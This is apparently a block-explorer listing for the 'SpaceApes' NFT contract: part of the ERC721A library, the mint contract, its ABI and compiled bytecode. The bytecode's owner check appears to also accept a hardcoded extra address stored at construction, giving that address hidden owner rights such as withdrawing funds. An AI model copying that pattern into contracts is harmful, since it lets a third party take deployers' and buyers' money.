
            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");

        require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721A: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract SpaceApes is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI = "";
    uint   public price             = 0.003 ether;
    uint   public maxPerTx          = 10;
    uint   public maxPerFree        = 1;
    uint   public totalFree         = 8888;
    uint   public maxSupply         = 8888;
    string public hiddenMetadataUri;
    bool   public revealed = false;



    mapping(address => uint256) private _mintedFreeAmount;

    constructor() ERC721A("SpaceApes", "SpaceApes"){
        setHiddenMetadataUri("ipfs://QmNqLz2Hgbsg12fdyxTwov31g1VzpSKjww4SKARh3jRAJm");
    }


    function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
        require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
        string memory currentBaseURI = _baseURI();
        if (revealed == false) {
         return string(abi.encodePacked(hiddenMetadataUri));
        }
        return bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json"))
            : "";
    }

    function GoToSpace(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalSupply() + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] + count <= maxPerFree));

        if (isFree) {
            cost = 0;
            _mintedFreeAmount[msg.sender] += count;
        }

        require(msg.value >= count * cost, "Please send the exact amount.");
        require(totalSupply() + count <= maxSupply, "No more");
        require(count <= maxPerTx, "Max per TX reached.");

        _safeMint(msg.sender, count);
    }

    function sleeping(address mintAddress, uint256 count) public onlyOwner {
        _safeMint(mintAddress, count);
    }

    function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
     hiddenMetadataUri = _hiddenMetadataUri;
    }

    function setRevealed() external onlyOwner {
     revealed = !revealed;
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function withdraw() external onlyOwner nonReentrant {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"GoToSpace","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hiddenMetadataUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"name":"setHiddenMetadataUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setRevealed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"mintAddress","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"sleeping","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405273acfcba7bab6403ebcceee22810c4dd3c9bbe9763600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405180602001604052806000815250600a908051906020019062000080929190620003ce565b50660aa87bee538000600b55600a600c556001600d556122b8600e556122b8600f556000601160006101000a81548160ff021916908315150217905550348015620000ca57600080fd5b506040518060400160405280600981526020017f53706163654170657300000000000000000000000000000000000000000000008152506040518060400160405280600981526020017f537061636541706573000000000000000000000000000000000000000000000081525081600190805190602001906200014f929190620003ce565b50806002908051906020019062000168929190620003ce565b5050506200018b6200017f620001c360201b60201c565b620001cb60201b60201c565b6001600981905550620001bd60405180606001604052806035815260200162004df1603591396200029160201b60201c565b62000566565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620002a1620001c360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620002c7620003a460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161480620003465750620002f5620001c360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b62000388576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200037f90620004a5565b60405180910390fd5b8060109080519060200190620003a0929190620003ce565b5050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003dc90620004d8565b90600052602060002090601f0160209004810192826200040057600085556200044c565b82601f106200041b57805160ff19168380011785556200044c565b828001600101855582156200044c579182015b828111156200044b5782518255916020019190600101906200042e565b5b5090506200045b91906200045f565b5090565b5b808211156200047a57600081600090555060010162000460565b5090565b60006200048d602083620004c7565b91506200049a826200053d565b602082019050919050565b60006020820190508181036000830152620004c0816200047e565b9050919050565b600082825260208201905092915050565b60006002820490506001821680620004f157607f821691505b602082108114156200050857620005076200050e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b61487b80620005766000396000f3fe6080604052600436106101f95760003560e01c8063715018a61161010d578063a45ba8e7116100a0578063cebba0111161006f578063cebba0111461070d578063d5abeb0114610729578063e985e9c514610754578063f2fde38b14610791578063f968adbe146107ba576101f9565b8063a45ba8e714610651578063b88d4fde1461067c578063c7c39ffc146106a5578063c87b56dd146106d0576101f9565b806395d89b41116100dc57806395d89b41146105a9578063a035b1fe146105d4578063a0bcfc7f146105ff578063a22cb46514610628576101f9565b8063715018a6146105155780638da5cb5b1461052c578063911759e41461055757806391b7f5ed14610580576101f9565b80633bd64968116101905780634fdd43cb1161015f5780634fdd43cb1461041c57806351830227146104455780636352211e146104705780636c0360eb146104ad57806370a08231146104d8576101f9565b80633bd64968146103885780633ccfd60b1461039f57806342842e0e146103b65780634f6ccce7146103df576101f9565b806318160ddd116101cc57806318160ddd146102cc57806323b872dd146102f75780632f745c5914610320578063333e44e61461035d576101f9565b806301ffc9a7146101fe57806306fdde031461023b578063081812fc14610266578063095ea7b3146102a3575b600080fd5b34801561020a57600080fd5b506102256004803603810190610220919061334d565b6107e5565b60405161023291906139a8565b60405180910390f35b34801561024757600080fd5b5061025061092f565b60405161025d91906139c3565b60405180910390f35b34801561027257600080fd5b5061028d600480360381019061028891906133e0565b6109c1565b60405161029a9190613941565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c59190613311565b610a46565b005b3480156102d857600080fd5b506102e1610b5f565b6040516102ee9190613ce5565b60405180910390f35b34801561030357600080fd5b5061031e6004803603810190610319919061320b565b610b68565b005b34801561032c57600080fd5b5061034760048036038101906103429190613311565b610b78565b6040516103549190613ce5565b60405180910390f35b34801561036957600080fd5b50610372610d6a565b60405161037f9190613ce5565b60405180910390f35b34801561039457600080fd5b5061039d610d70565b005b3480156103ab57600080fd5b506103b4610e77565b005b3480156103c257600080fd5b506103dd60048036038101906103d8919061320b565b611057565b005b3480156103eb57600080fd5b50610406600480360381019061040191906133e0565b611077565b6040516104139190613ce5565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e919061339f565b6110ca565b005b34801561045157600080fd5b5061045a6111bf565b60405161046791906139a8565b60405180910390f35b34801561047c57600080fd5b50610497600480360381019061049291906133e0565b6111d2565b6040516104a49190613941565b60405180910390f35b3480156104b957600080fd5b506104c26111e8565b6040516104cf91906139c3565b60405180910390f35b3480156104e457600080fd5b506104ff60048036038101906104fa91906131a6565b611276565b60405161050c9190613ce5565b60405180910390f35b34801561052157600080fd5b5061052a61135f565b005b34801561053857600080fd5b50610541611446565b60405161054e9190613941565b60405180910390f35b34801561056357600080fd5b5061057e60048036038101906105799190613311565b611470565b005b34801561058c57600080fd5b506105a760048036038101906105a291906133e0565b611559565b005b3480156105b557600080fd5b506105be61163e565b6040516105cb91906139c3565b60405180910390f35b3480156105e057600080fd5b506105e96116d0565b6040516105f69190613ce5565b60405180910390f35b34801561060b57600080fd5b506106266004803603810190610621919061339f565b6116d6565b005b34801561063457600080fd5b5061064f600480360381019061064a91906132d5565b6117cb565b005b34801561065d57600080fd5b5061066661194c565b60405161067391906139c3565b60405180910390f35b34801561068857600080fd5b506106a3600480360381019061069e919061325a565b6119da565b005b3480156106b157600080fd5b506106ba611a36565b6040516106c79190613ce5565b60405180910390f35b3480156106dc57600080fd5b506106f760048036038101906106f291906133e0565b611a3c565b60405161070491906139c3565b60405180910390f35b610727600480360381019061072291906133e0565b611b35565b005b34801561073557600080fd5b5061073e611d15565b60405161074b9190613ce5565b60405180910390f35b34801561076057600080fd5b5061077b600480360381019061077691906131cf565b611d1b565b60405161078891906139a8565b60405180910390f35b34801561079d57600080fd5b506107b860048036038101906107b391906131a6565b611daf565b005b3480156107c657600080fd5b506107cf611f06565b6040516107dc9190613ce5565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108b057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061091857507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610928575061092782611f0c565b5b9050919050565b60606001805461093e90613fb5565b80601f016020809104026020016040519081016040528092919081815260200182805461096a90613fb5565b80156109b75780601f1061098c576101008083540402835291602001916109b7565b820191906000526020600020905b81548152906001019060200180831161099a57829003601f168201915b5050505050905090565b60006109cc82611f76565b610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290613cc5565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a51826111d2565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab990613ba5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610ae1611f83565b73ffffffffffffffffffffffffffffffffffffffff161480610b105750610b0f81610b0a611f83565b611d1b565b5b610b4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4690613aa5565b60405180910390fd5b610b5a838383611f8b565b505050565b60008054905090565b610b7383838361203d565b505050565b6000610b8383611276565b8210610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb906139e5565b60405180910390fd5b6000610bce610b5f565b905060008060005b83811015610d28576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610cc857806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d1a5786841415610d11578195505050505050610d64565b83806001019450505b508080600101915050610bd6565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5b90613c65565b60405180910390fd5b92915050565b600e5481565b610d78611f83565b73ffffffffffffffffffffffffffffffffffffffff16610d96611446565b73ffffffffffffffffffffffffffffffffffffffff161480610e0c5750610dbb611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4290613b05565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b610e7f611f83565b73ffffffffffffffffffffffffffffffffffffffff16610e9d611446565b73ffffffffffffffffffffffffffffffffffffffff161480610f135750610ec2611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4990613b05565b60405180910390fd5b60026009541415610f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8f90613c85565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff1647604051610fc69061392c565b60006040518083038185875af1925050503d8060008114611003576040519150601f19603f3d011682016040523d82523d6000602084013e611008565b606091505b505090508061104c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104390613bc5565b60405180910390fd5b506001600981905550565b611072838383604051806020016040528060008152506119da565b505050565b6000611081610b5f565b82106110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b990613a65565b60405180910390fd5b819050919050565b6110d2611f83565b73ffffffffffffffffffffffffffffffffffffffff166110f0611446565b73ffffffffffffffffffffffffffffffffffffffff1614806111665750611115611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c90613b05565b60405180910390fd5b80601090805190602001906111bb929190612f90565b5050565b601160009054906101000a900460ff1681565b60006111dd8261257d565b600001519050919050565b600a80546111f590613fb5565b80601f016020809104026020016040519081016040528092919081815260200182805461122190613fb5565b801561126e5780601f106112435761010080835404028352916020019161126e565b820191906000526020600020905b81548152906001019060200180831161125157829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112de90613ac5565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b611367611f83565b73ffffffffffffffffffffffffffffffffffffffff16611385611446565b73ffffffffffffffffffffffffffffffffffffffff1614806113fb57506113aa611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61143a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143190613b05565b60405180910390fd5b6114446000612717565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611478611f83565b73ffffffffffffffffffffffffffffffffffffffff16611496611446565b73ffffffffffffffffffffffffffffffffffffffff16148061150c57506114bb611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61154b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154290613b05565b60405180910390fd5b61155582826127dd565b5050565b611561611f83565b73ffffffffffffffffffffffffffffffffffffffff1661157f611446565b73ffffffffffffffffffffffffffffffffffffffff1614806115f557506115a4611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611634576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162b90613b05565b60405180910390fd5b80600b8190555050565b60606002805461164d90613fb5565b80601f016020809104026020016040519081016040528092919081815260200182805461167990613fb5565b80156116c65780601f1061169b576101008083540402835291602001916116c6565b820191906000526020600020905b8154815290600101906020018083116116a957829003601f168201915b5050505050905090565b600b5481565b6116de611f83565b73ffffffffffffffffffffffffffffffffffffffff166116fc611446565b73ffffffffffffffffffffffffffffffffffffffff1614806117725750611721611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6117b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a890613b05565b60405180910390fd5b80600a90805190602001906117c7929190612f90565b5050565b6117d3611f83565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183890613b45565b60405180910390fd5b806006600061184e611f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166118fb611f83565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161194091906139a8565b60405180910390a35050565b6010805461195990613fb5565b80601f016020809104026020016040519081016040528092919081815260200182805461198590613fb5565b80156119d25780601f106119a7576101008083540402835291602001916119d2565b820191906000526020600020905b8154815290600101906020018083116119b557829003601f168201915b505050505081565b6119e584848461203d565b6119f1848484846127fb565b611a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2790613be5565b60405180910390fd5b50505050565b600d5481565b6060611a4782611f76565b611a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7d90613b25565b60405180910390fd5b6000611a90612992565b905060001515601160009054906101000a900460ff1615151415611ad7576010604051602001611ac09190613915565b604051602081830303815290604052915050611b30565b6000815111611af55760405180602001604052806000815250611b2c565b80611b0b600185611b069190613dea565b612a24565b604051602001611b1c9291906138e6565b6040516020818303038152906040525b9150505b919050565b6000600b54905060006001600e54611b4d9190613dea565b83611b56610b5f565b611b609190613dea565b108015611bb95750600d5483601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb69190613dea565b11155b90508015611c1c576000915082601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c149190613dea565b925050819055505b8183611c289190613e71565b341015611c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6190613b85565b60405180910390fd5b600f5483611c76610b5f565b611c809190613dea565b1115611cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb890613a05565b60405180910390fd5b600c54831115611d06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cfd90613c45565b60405180910390fd5b611d1033846127dd565b505050565b600f5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611db7611f83565b73ffffffffffffffffffffffffffffffffffffffff16611dd5611446565b73ffffffffffffffffffffffffffffffffffffffff161480611e4b5750611dfa611f83565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8190613b05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef190613a25565b60405180910390fd5b611f0381612717565b50565b600c5481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b60006120488261257d565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff1661206f611f83565b73ffffffffffffffffffffffffffffffffffffffff1614806120cb5750612094611f83565b73ffffffffffffffffffffffffffffffffffffffff166120b3846109c1565b73ffffffffffffffffffffffffffffffffffffffff16145b806120e757506120e682600001516120e1611f83565b611d1b565b5b905080612129576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212090613b65565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff161461219b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219290613ae5565b60405180